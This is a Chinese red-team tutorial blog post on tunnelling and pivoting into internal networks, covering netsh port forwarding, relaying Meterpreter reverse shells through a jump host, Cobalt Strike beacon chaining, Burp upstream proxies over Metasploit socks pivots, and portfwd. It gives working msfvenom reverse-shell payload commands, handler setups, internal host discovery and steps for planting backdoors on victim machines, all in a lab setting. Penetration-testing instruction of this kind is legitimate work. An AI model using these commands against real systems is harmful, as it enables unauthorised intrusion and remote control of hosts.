红蓝对抗之隧道技术第一篇(内网穿透、端口映射&端口转发、Netsh端口转发、CS正反向连接多层内网、Burp设置上游代理访问内网、MSF protfwd端口转发/重定向)

隧道应用

image-20211217203519224
在进行内网渗透时,由于外网主机无法直接连接内网主机,所以需要使用隧道技术来搭建连接通道访问内网主机即内网穿透,先来了解下几种转发技术

端口映射&端口转发

image-20211218102443438

  • 端口映射

    是指将一台主机的内网(LAN)IP 地址映射成一个公网(WAN)IP 地址,当用户访问提供映射端口主机的某个端口时,服务器将请求转移到本地局域网内部提供这种特定服务的主机;利用端口映射功能还可以将一台外网 IP 地址机器的多个端口映射到内网不同机器上的不同端口,可以实现内网穿透

    例子:

    我们在内网中有一台Web服务器,但是外网中的用户是没有办法直接访问该服务器的。于是我们可以在路由器上设置一个端口映射,只要外网用户访问路由器ip的80端口,那么路由器会把自动把流量转到内网Web服务器的80端口上。并且,在路由器上还存在一个Session,当内网服务器返回数据给路由器时,路由器能准确的将消息发送给外网请求用户的主机。在这过程中,路由器充当了一个反向代理的作用,他保护了内网中主机的安全

  • 端口转发

    有时被叫做隧道,是安全壳(SSH) 为网络安全通信使用的一种方法

    例子:

    假如我们内网现在有100台主机,那么我们现在都是通过路由器的这一个公网IP和外网通信的。那么,当互联网上的消息发送回来时,路由器是怎么知道这个消息是给他的,而另外消息是给你的呢?这就要我们的ip地址和路由器的端口进行绑定了,这时,在路由器中就会有一个内网ip和路由器端口对应的一张表。当路由器的10000端口收到消息时,就知道把消息发送给他,而当20000端口收到消息时,就知道把消息发送给你。这就是端口转发,其转发一个端口收到的流量,给另一个主机

  • 端口映射与端口转发

    用于发布防火墙内部的服务器或者防火墙内部的客户端计算机,有的路由器也有端口映射与端口转发功能。端口映射与端口转发实现的功能类似,但又不完全一样。端口映射是将外网的一个端口完全映射给内网一个地址的指定端口,而端口转发是将发往外网的一个端口的通信完全转发给内网一个地址的指定端口。端口映射可以实现外网到内网和内网到外网双向的通信(即需要配置两端机器),而映射转发只能实现外网到内网的单向通信(只需要配置转发端及机器)

参考链接:百度文库知乎

Netsh端口转发

netsh(亦称网络壳层)是一个存在于自微软Windows 2000开始的所有Windows NT系列中的命令行工具。它允许本地或远程配置网络设备,例如硬件接口

环境描述

image-20211218105453896

在内网主机上 80 端口是 WEB 服务,现在想要 kali 能访问内网主机的 80 端口上的内容,因为不在同一个网段攻击者 kali 不能直接访问内网主机而且内网主机不能直接出网,但是攻击者可以直接访问跳板机且跳板机可以访问内网主机,我们只需要在跳板机上使用 netsh 命令设置端口转发即可

命令如下

netsh interface portproxy add v4tov4 listenport=设置的端口 connectaddress=B 服务
器(ip) connectport=端口

# netsh interface portproxy add v4tov4 listenport=8080 connectaddress=10.0.0.2 connectport=80

image-20211218113853888

执行命令后攻击者可以直接访问跳板机的8080端口

image-20211218114048814

跳板机可以使用命令查看所有转发

netsh interface portproxy show all

image-20211218114154824

删除规则

# 全部
netsh interface portproxy reset
# 清除规则指定规则
netsh interface portproxy delete v4tov4 listenport=8080

在设置端口转发后可以使用 burp 直接抓包(这里我使用的是burp自带的浏览器)

image-20211219131333442

Netsh端口转发meterpreter

image-20211219102146995

在跳板机上可以通过设置代理访问内网主机,如果拿到内网主机的权限 通常是生成正向的后门,然后 kali 的 msf 可以正向连接内网主机,由此得到 meterpreter,进而进行其他操作。如果内网主机上有防火墙拦截,kali 的 msf 不能正向连接上后门,为解决这个问题,可以通过生成一个反向后门连接到跳板机上,在跳板机上再通过端口映射或者转发给 kali 的 msf 上

  1. 攻击者使用 msf 生成反弹 shell 后门

    msfvenom -p windows/meterpreter/reverse_tcp lhost=10.0.0.3 lport=8080 -f exe >r.exe
    # 这里的IP端口均为跳板机
    
  2. 在跳板机上增加端口转发命令,将8080端口流量转发至攻击者IP 8080端口

    netsh interface portproxy add v4tov4 listenport=8080 connectaddress=192.168.179.134 connectport=8080
    

    image-20211219102526100

  3. 在 kali 上设置监听

    use windows/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.179.134
    set lport 8080
    
  4. 在受害者内网主机上执行后门文件

    image-20211219103408144

CS正向连接多层内网

image-20211219104515114

首先跳板机上已经有了 cs 的后门,通过后门查看网络信息发现存在 10.0.0.0/24 网段,跳板机拥有双网卡是可以访问内网主机的,所以在 CS 中可以通过跳板机访问内网主机

image-20211219105149497

  1. 生成监听器,选择 Beacon TCP

    image-20211219105420521

  2. 生成后门 windows executable(s)

    image-20211219105544261

    将后门复制到内网主机上并执行

  3. 在 cs 中进入会话 beacon,使用命令连接内网主机

    connect 10.0.0.2 4444
    

    image-20211219105910005

CS反向连接多层内网

使用正向连接很可能因为内网防火墙的存在遭到拦截而连接失败,此时可以使用反向连接突破防火墙的拦截

image-20211219125408863

  1. 在选择做代理的会话选择 listerner,即跳板机的会话

    image-20211219125525783

    新建监听器

    image-20211219125553591

    image-20211219125623822

  2. 创建后门

    image-20211219125741498

    选择带有 s 的选项,在 listener 选择刚刚创建的监听器

    image-20211219125804337

  3. 在内网主机上执行后门

    执行后,后门会主动连接到跳板机,cs 即会上线

    image-20211219130023717

Burp设置上游代理访问内网

在 netsh 端口转发后可以直接使用 burp 抓包,但是对于内网横向渗透时会遇到局限性,如下环境

image-20211219140456724

当 kali 获得服务器 B 得 meterperter 后,可以通过设置 socks4 代理通过在 A 服务器上配置 proxychains 能让 D 访问 C 服务器的 80 端口

当 D 设置浏览器代理,访问 C 的时候 实际上是 D 通过代理访问 A 的 1080 端口转发到 C 的 80 端口上。因为浏览器已经设置代理了,burpsuite 无法再使用浏览器代理,在这种情况下,bursuite 要想使用浏览器代理抓包,可以在 burpsuite 代理模块指定代理 A 的代理信息,但是 burpsuite 不支持 socks4 代理。可以考虑使用 burpsuite 的上游代理设置为系统代理,再通过代理访问 kali 再经过 B 服务器即可访问 C 的 80 端口 整个流程如图

image-20211219141026715

  1. 跳板机B上线 msf

    生成后门,复制到跳板机执行

    msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.179.134 lport=8080 -f exe >r.exe
    

    msf 设置监听上线

    use windows/multi/handler
    set payload windows/meterpreter/reverse_tcp
    set lhost 192.168.179.134
    set lport 8080
    run
    
  2. 信息收集,发现10段网络

    # 查看路由表
    meterpreter > routes
    run autoroute -p 
    

    image-20211219142204329

    检测内网存活主机

    # 通过ping命令
    run post/multi/gather/ping_sweep RHOSTS=10.0.0.0/24
    # 通过arp协议
    run post/windows/gather/arp_scanner RHOSTS=10.0.0.0/24
    # 使用info查看模块信息
    info post/multi/gather/ping_sweep
    

    image-20211219142330317

  3. 添加路由,进行nmap扫描

    run autoroute -s 10.0.0.0/24
    

    image-20211219142544827

    meterpreter > background 
    msf5 exploit(multi/handler) > use auxiliary/server/socks4a  
    msf5 auxiliary(server/socks4a) > run
    

    image-20211219142920744

    修改配置文件

    sudo vim /etc/proxychains.conf
    在文本最后加上代理服务器地址,如果有用户名和密码也加上
    

    image-20211219144408878

    测试

    proxychains nmap -sT -Pn 10.0.0.2 -p 80
    # 这里能访问10.0.0.2是因为在msf中设置了路由
    

    image-20211219144738595

这样设置代理后 A 攻击者就可以通过 B 跳板机访问 C 内网主机

image-20211219145230097

接下来要解决的问题就是让 D 能通过 A 的代理访问 C

在主机 D 浏览器中添加代理,火狐可以在设置中设置,我这里使用插件

image-20211219145612462

这样主机 D 就可以通过代理访问到内网主机 C

image-20211219145739365

最后一个问题主机 D 使用代理,开始也是说了现在浏览中已经设置了代理不能再设置 burp 的流量了,通过 burp 中的上游代理功能来解决,Burp 中利用了两种代理方式,但是 socks 代理只支持 socks5,所以本次使用 Upstream Proxy Servers

image-20211219150329709

设置上游代理的方法

使用代理工具 Proxifier 或者 SocksCap工具,我这里使用的是 SocksCap,SocksCap 系统代理的默认端口为25378(代理类型socks4)

image-20211219152446884

右击屏幕右下角的工具图标选择系统代理

image-20211219152751105

Burp 中添加代理

image-20211219152844274

设置后成功访问10.0.0.2,这样设置不会影响主机其他应用联网

image-20211219153105958

使用 proxifier 也可以,需要设置代理规则,不设置的话只能访问代理,影响其他流量

image-20211219151109435

MSF protfwd端口转发/重定向

Meterpreter shell 中的 portfwd 命令最常用作端口转发,允许直接访问攻击系统无法访问的机器。在可以访问攻击者和目标网络(或系统)的受损主机上运行此命令,我们可以实质上通过本机转发 TCP 连接,从而使其成为一个支点。就像使用 ssh 连接的端口转发技术一样,portfwd 将中继与连接的机器之间的 TCP 连接,效果等同于使用 netsh

image-20211219160343129

先拿到跳板机 meterpreter,

meterpreter > portfwd -h
Usage: portfwd [-h] [add | delete | list | flush] [args]

OPTIONS:

    -L <opt>  Forward: local host to listen on (optional). Reverse: local host to connect to.
    -R        Indicates a reverse port forward.
    -h        Help banner.
    -i <opt>  Index of the port forward entry to interact with (see the "list" command).
    -l <opt>  Forward: local port to listen on. Reverse: local port to connect to.
    -p <opt>  Forward: remote port to connect to. Reverse: remote port to listen on.
    -r <opt>  Forward: remote host to connect to

使用 add 命令添加端口转发

portfwd add -l 8080 -r 10.0.0.2 -p 80

设置之后访问攻击者的 8080 端口就相当于访问内网主机的 80 端口

image-20211219160650738

推荐阅读

  • 5
    点赞
  • 33
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

OceanSec

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值